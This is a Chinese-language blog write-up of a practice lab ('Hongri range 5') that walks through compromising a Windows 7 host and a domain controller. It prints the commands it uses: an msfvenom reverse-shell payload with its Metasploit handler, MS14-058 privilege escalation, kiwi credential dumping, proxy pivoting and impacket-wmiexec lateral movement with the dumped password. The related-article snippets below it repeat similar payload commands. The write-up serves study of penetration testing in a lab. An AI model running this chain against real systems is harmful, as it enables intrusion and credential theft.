无境红日靶场五 wp

最新推荐文章于 2026-08-11 13:37:32 发布
原创 最新推荐文章于 2026-08-11 13:37:32 发布 · 192 阅读 · 4 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
GEO检测
收录于
安全

当前文章被收录于：

安全
37 篇文章 32 人学习

作者的网络安全学习之路

订阅专栏 查看详情

本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描，请求重发，漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞（越权访问和支付漏洞）
  17. 网站后台安全
  18. weevely的使用及免杀（Linux中的菜刀）
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制（解决方案）
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马，实现免杀之default_aes php
  26. 记一次简单的对盗号网站的渗透
  27. 记一次幸运的漏洞挖掘
  28. 内网渗透初探
  29. 记对外国某服务器的内网渗透
  30. 一次丝滑的内网渗透拿下域控
  31. 实战内网PTH上线域控
  32. 通过路由器进行内网渗透
  33. 钓鱼邮件和钓鱼样本
  34. 无境vulntarget-a wp
  35. 无境ZeroLogon 练习 wp
  36. 无境三层综合渗透 wp

一层Win7

WebShell

目标IP：192.168.111.150，用nmap快速扫全端口

nmap -p- -T4 --min-rate 2000 -n -Pn 192.168.111.150

在这里插入图片描述
重点是80端口的web服务，打开发现是一个Thinkphp
在这里插入图片描述
使用利用工具测试，存在ThinkPHP 5.0.22/5.1.29 RCE
在这里插入图片描述
用工具一键getshell
在这里插入图片描述
Administrator权限的Win7，明显在域中
在这里插入图片描述

Msf

用reverse_tcp生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.25 lport=6666 -f exe > 1.exe

msfconsole这样子配置

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

把生成的1.exe放到服务器上运行，成功获取到meterpreter
在这里插入图片描述

提权

systeminfo看补丁信息
在这里插入图片描述
我靠这么多
考虑使用MS14-058进行提权

use exploit/windows/local/ms14_058_track_popup_menu
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST 192.168.111.25
set target 1
run

成功得到SYSTEM的meterpreter
在这里插入图片描述

抓密码

load kiwi

在这里插入图片描述

creds_all

在这里插入图片描述
666演都不演了，得到密码为dc123.com

横向

systeminfo查到当前域为sun.com
在这里插入图片描述
用meterpreter直接查域控

run post/windows/gather/enum_domain

在这里插入图片描述
得到域控IP为192.168.138.138

二层域控

一级代理

用autoroute建立一级代理，走192.168.138.0/24段

run post/multi/manage/autoroute

在这里插入图片描述
然后创建socks5代理

use auxiliary/server/socks_proxy
run

在这里插入图片描述
用proxychain来配置代理，在/etc/proxychain4.conf最后一行加上

socks5	127.0.0.1 1080

可以用nc测试代理是否建立成功

proxychains nc -zv 192.168.138.138 445

在这里插入图片描述
能连通即为成功

wmiexec

直接用psexec横向getshell

proxychains impacket-wmiexec SUN/Administrator:'dc123.com'@192.168.138.138

在这里插入图片描述

好简单的靶场

标签
#网络 #安全 #web安全
红日靶场vulnstack (三）
2301_76227305的博客
09-03 1744
这个靶场比前面两个要难一点点，主要是思路问题，比如前面的蚁剑发现的mysql文件，你要想得去尝试ssh连接，还有smb爆破取决于你的字典大小。其实在渗透过程中，我有尝试让主机上线CS方便横移，但是均失败了，可能是因为跳板机是Linux，上线的Windows主机都是个黑框。最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
记一次艰难的SQL注入(过安全狗)
热门推荐
realmels的博客
02-01 2万+
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 文章目录前文链接1.1 前言2.1 注入测试2.1.1 绕过第一式：汉字双字节编码绕过单引号3.1 获取数据库3.1.1 绕过第二式：注释3.1.2 绕过第三式：内联注释绕过空格4.1 获取表名4.1.1 绕过第四式：select过安全狗5.1 获取列名5.1.1 绕过第五式：骚操作绕过魔术函数6.1 爆帐密总结 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发.
无境红日靶场一 wp
最新发布
realmels的博客
08-11 213
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记。
MSF(3)——apk和exe的加马(过360、火绒)
realmels的博客
08-07 8686
apk和exe加马免杀的方法
红日安全ATT＆CK靶机实战二
m0_64053653的博客
07-13 1655
网1：nat不改，去改他们的静态ip网2：新建内网ip段。
红日靶场（一）内网渗透记录
a2921329815的博客
10-28 1593
这是我一次进行内网渗透的练习，思路很混乱，在网上找了很多相关的博客做的，做的也非常慢，做了两天才弄完，但总的来说对内网渗透还是有了一些初步的了解，特别是分别用msf和CS来进行内网渗透，现在我的思路也清晰了很多，最后我也看了一下作者给出的攻击路线，这篇博客也没有写到痕迹清除（不会）以后有机会再按照作者的方式来进行一次练习吧。
红日靶场五 WP | ThinkPHP RCE → 内核提权 → 域控沦陷
QSxs8EH0z的博客
06-23 232
因此，当看到这三样组件同时出现在 Windows 上，且版本相对老旧时，99% 的概率它就是一个一键安装的集成环境。，这是 Linux 才有的命令，但是我们的目标是 Windows，若采用该命令页面是没有回显的。决策：先处理 TCP 端口，如果没有突破，再回到 UDP 端口，用特定的工具或者脚本去侦察。可是，既然已经拿到 Shell 了，就不要再整那些“花里胡哨”的了，毕竟是靶场环境。注意：网站给的 Poc 中，用于测试 RCE 的命令是。记住：漏洞利用的 Payload 越短越好，越通用越好。
内网对抗之红日靶场3
chinese_cabbage0的博客
08-23 1112
🛡 内部安全攻防圈｜专注技术·聚焦实战🔒 这是一个专为安全技术爱好者与实战者打造的内部圈子，聚焦真实攻防能力成长与高质量资源分享：🎓 EDUSRC / CERT等漏洞平台挖掘🚩 红蓝攻防对抗🛠️ 渗透测试全流程💣 漏洞情报追踪与POC/EXP分享🧪 攻防平台 / 靶场实战📦 实用安全工具推荐🧬 技术前沿探索🧨 应急响应与安全加固经验🔍 项目放送 + 工具脚本共享。
红日靶场进阶（记录一次练习）超级详细
2301_81486667的博客
07-02 2522
1、 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.92.128(kali ip) LPORT=6666(自己设置监听端口） -f exe -o reverse_shell.exe。set payload windows/x64/meterpreter/reverse_tcp #设置监听的 payload 类型，需。set lport 6666 #设置回连的端口，需要与 msfvenom 生成的参数一致。
红日3靶场-wp
shajianlong666的博客
06-04 664
内网渗透之-红日靶场3（传说可让你对内网渗透大彻大悟）
burpsuite工具抓包及Intruder暴力破解的使用
realmels的博客
12-20 6871
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 前言 仅供交流分享，禁止用于非法用途 上篇已经搭建好了靶机，这篇简单讲解工具burpsuite的使用，以及用burpsuite的Intruder暴力破解密码。 ButpSuite工具安装 参考文章:https://www.ddosi.com/b309/我是按照这篇文章安装的burpsuite，可以自己参考这篇文章。 首先需要下载jdk,要下载jdk9及以上版本，我这里下载的是jdk11 .
MSF(2)——各种木马的生成及简单的免杀
realmels的博客
06-11 5343
这里是各种木马的生成示例 在实际渗透过程中根据需求生成这里主要是php的免杀和Python的免杀，原理都是自定义加密及解密可参考前文 https://blog.csdn.net/realmels/article/details/119280877重点来了使用上文方法生成的木马，所有的木马都会报毒D盾扫描结果 火绒扫描结果 而对于exe的免杀比较复杂（主要我不会），所以在这里介绍一种简单的免杀方法。我们可以先生成一个Python的msf马，然后利用Python技术，对该木马进行免杀，最后将该木马打包成可
MSF(1)——一次完整的渗透流程
realmels的博客
09-04 4742
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发，漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell Vulnhub靶机渗透之Me and My Girlfriend XSS漏洞 文件上传漏洞 文件.
WebShell命令执行限制（解决方案）
realmels的博客
09-20 3508
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发，漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell Vulnhub靶机渗透之Me and My Girlfriend XSS漏洞 文件上传漏洞 文件.
通过Frp解决实现内网穿透
realmels的博客
08-29 3505
内网穿透，也即 NAT 穿透，进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。百度百科简单来说，ipv4的ip是有限的，大概256^4个，差不多42.9亿个，如果每台设备都分配一个ip，那ip很快就不够分了。因此，提出了内网域的概念。我们平时使用的计算机，如果在命令行中输入ipconfig或者ip a，可以看到自己的ip地址。这里我的ip是。...
weevely的使用及免杀（Linux中的菜刀）
realmels的博客
07-31 3404
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发，漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell Vulnhub靶机渗透之Me and My Girlfriend XSS漏洞 文件上传漏洞 文件.
Vulnhub靶机渗透之Me and My Girlfriend
realmels的博客
06-28 3312
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发,漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell 介绍 Vulnhub它是一个提供各种漏洞环境的平台，官方链接：https://www.vuln.
WAMP/DVWA/sqli-labs 搭建
realmels的博客
12-13 2552
资料下载 Win7x64: ed2k://|file|cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso|3265574912|E9DB2607EA3B3540F3FE2E388F8C53C4|/ (用电脑复制加粗文字即可下载) VMware: **https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.5.6-16341506.exe** (用电脑复制加粗
文件上传漏洞
realmels的博客
07-02 2214
本专栏是笔者的网络安全学习笔记，一面分享，同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描，请求重发,漏洞扫描等工具的使用 网站信息收集及nmap的下载使用 SQL注入(1)——了解成因和手工注入方法 SQL注入(2)——各种注入 SQL注入(3)——SQLMAP SQL注入(4)——实战SQL注入拿webshell Vulnhub之Me and My Girlfriend 介绍 文件上传漏洞指用户将恶意代码文.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值